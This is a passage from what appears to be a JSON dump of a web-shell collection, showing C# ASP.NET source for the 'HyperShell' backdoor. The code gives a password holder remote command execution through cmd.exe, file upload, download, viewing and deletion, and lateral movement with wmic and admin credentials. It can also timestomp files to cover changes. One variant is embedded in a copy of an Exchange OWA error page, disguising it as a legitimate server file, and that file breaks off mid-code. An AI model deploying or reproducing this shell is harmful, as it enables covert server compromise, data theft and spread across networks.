System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {\r\n                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocalInner/HighShellServerInner.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(!string.IsNullOrEmpty(p) && login(p)){\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\nelse rm();\r\n}\r\ncatch(Exception ex){if(!isInner)response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\nbool isInner = true;\r\nenum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\nstring salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\nstring p,adminU,adminP;\r\nbool aut=false;\r\nstring pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\nstring a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\nstring tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\nstring fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\nvoid rm(){if(!isInner){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}}\r\nvoid auth(string p){string ret=string.Empty;try{ret=string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\",login(p).ToString(),tb(getLoc()));}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nbool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\nvoid command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid upload(HttpPostedFile uploadFile,string uploadPath){string ret=\"Error : -\";try{if(System.IO.Path.IsPathRooted(uploadPath)){string FileName=System.IO.Path.GetFileName(uploadFile.FileName);string FilePath=uploadPath.TrimEnd('\\\\')+\"\\\\\";if(string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath))){if(!System.IO.Directory.Exists(uploadPath)){if(!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath))){FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}}}else{FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}if(!System.IO.Directory.Exists(FilePath))System.IO.Directory.CreateDirectory(FilePath);uploadFile.SaveAs(FilePath+FileName);ret=\"File uploaded successfully : \"+FilePath+FileName;}else ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\nvoid downloadTest(string don){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){using(System.IO.Stream stream=new System.IO.FileStream(don,System.IO.FileMode.Open)){ret=string.Format(\"File '{0}' is ready for download\",don);}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nvoid download(string don, string isdel){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){System.Web.HttpResponse response=System.Web.HttpContext.Current.Response;response.ClearContent();response.Clear();response.ClearHeaders();response.ContentType=\"application/octet-stream\";response.AppendHeader(\"Content-Disposition\",\"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\"+HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));response.WriteFile(don);response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}}catch(Exception e){ret=\"Error : \"+e.Message;response(ret);}}\r\nstring exec(string cmd,string pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\nvoid gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\nvoid delete(string path){string ret=\"Error : -\";try{System.IO.File.Delete(path);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid multiDelete(string files){string ret=\"Error : -\";try{string[] f=files.Split('|');ret=string.Format(\"All '{0}' files successfuly deleted.\", f.Length);foreach(string item in f){System.IO.File.Delete(fb(item));}}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nstring getDirectoryInfo(string address){string ret=\"Error : -\";try{if(address.ToLower()==\"root\"){ret=\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";string netUse=exec(\"net use\");string[] lines=netUse.Split(new string[]{Environment.NewLine},StringSplitOptions.RemoveEmptyEntries);foreach(string item in lines){if(item.ToLower().StartsWith(\"ok\")){int index=item.IndexOf(\"\\\\\\\\\");ret+=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";}}ret+=\"]}\";}else{if(address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Count()==1){string tmp=address.ToLower().TrimEnd('\\\\');if(tmp==\"\\\\\\\\localhost\"){ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){if(item.IsReady){if(isStart)ret +=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);isStart=true;}}ret+=\"]}\";}else{if(!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";string strWD=@\"del {0} 2>&1\";tmp=tmp.TrimStart('\\\\');exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));System.Threading.Thread.Sleep(3000);List<string> diskTemp=new List<string>();for(int i=1;i<=5;i++){string f=string.Format(strWF,tmp,i);string[] lDisk=System.IO.File.ReadAllLines(f);exec(string.Format(strWD,f));for(int j=1;j<lDisk.Length;j++){if(i==1)diskTemp.Add(lDisk[j]);else diskTemp[j-1]+=\"|\"+lDisk[j];}}ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(string item in diskTemp){string[] diskInfo=item.Split('|');long TotalSize=0;long TotalFreeSpace=0;long.TryParse(diskInfo[2],out TotalSize);long.TryParse(diskInfo[3],out TotalFreeSpace);if(isStart)ret+=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);isStart=true;}ret+=\"]}\";}else ret=\"Error : Admin Username or Password is empty\";}}else{System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);if((attr&System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);ret=\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";}}}}catch(Exception ex){ret=\"Error : \"+ex.Message;}return ret;}\r\nvoid exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\nbool hasErrorInGetSize=false;\r\nint sizelvl=0;\r\nstring sizeError;\r\nlong GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\nstring createJsonDirectory(System.IO.DirectoryInfo[] dir){string json=\"\\\"dir\\\":[\";for(int i=0;i<dir.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json +=\"]\";return json;}\r\nstring createJsonFile(System.IO.FileInfo[] file){string json=\"\\\"file\\\":[\";for(int i=0;i<file.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json+=\"]\";return json;}\r\nstring sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\nvoid response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\nvoid changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nstring ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocalInner/error2-HighShellServer-Inner.aspx",
    "content": "<%@ Page language=\"c#\" Codebehind=\"Error2.aspx.cs\" AutoEventWireup=\"false\" Inherits=\"Microsoft.Exchange.Clients.Owa.Core.Error\" %>\r\n<%@ Import Namespace=\"Microsoft.Exchange.Clients\" %>\r\n<%@ Import Namespace=\"Microsoft.Exchange.Clients.Owa.Core\" %>\r\n<%@ Import Namespace=\"Microsoft.Exchange.Clients.Owa.Premium\" %>\r\n<html dir=\"<%=(UserContext != null && UserContext.IsRtl) ? \"rtl\" : \"ltr\"%>\">\r\n\r\n<% \t// Any urls to resources in this file, must be absolute urls.  The error page can load as a response to any request\r\n\t// made by the client, since it does by an internal redirect on the server and not as a 302 issued to the client.  \r\n\t// Therefore, there is no way of knowing where a relative url will take you.  For example, this page can load as a \r\n\t// result of this request \"http://servername/owa/auth/logon.aspx\" or this request \r\n\t// \"http://servername/owa/ev.owa?oeh=1&ae=dostuff\"\r\n\t//\t\r\n%>\r\n\r\n<head>\r\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=utf-8\">\r\n\t<title><%= LocalizedStrings.GetHtmlEncoded(Strings.IDs.ErrorTitle) %></title>\r\n\t<link type=\"text/css\" rel=\"stylesheet\" href=\"<%=OwaUrl.ApplicationRoot.ImplicitUrl%><%ThemeManager.RenderBaseThemeFileUrl(Response.Output, ThemeFileId.Error2Css, false);%>\">\r\n\t<style>\r\n\t\t<% if (Utilities.IsViet()) { %>\r\n\t\t\tbody, html\r\n\t\t\t{\r\n\t\t\t\tfont-family:Helvetica, Tahoma !important;\r\n\t\t\t}\r\n\t\t<% } %>\r\n\t</style>\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int 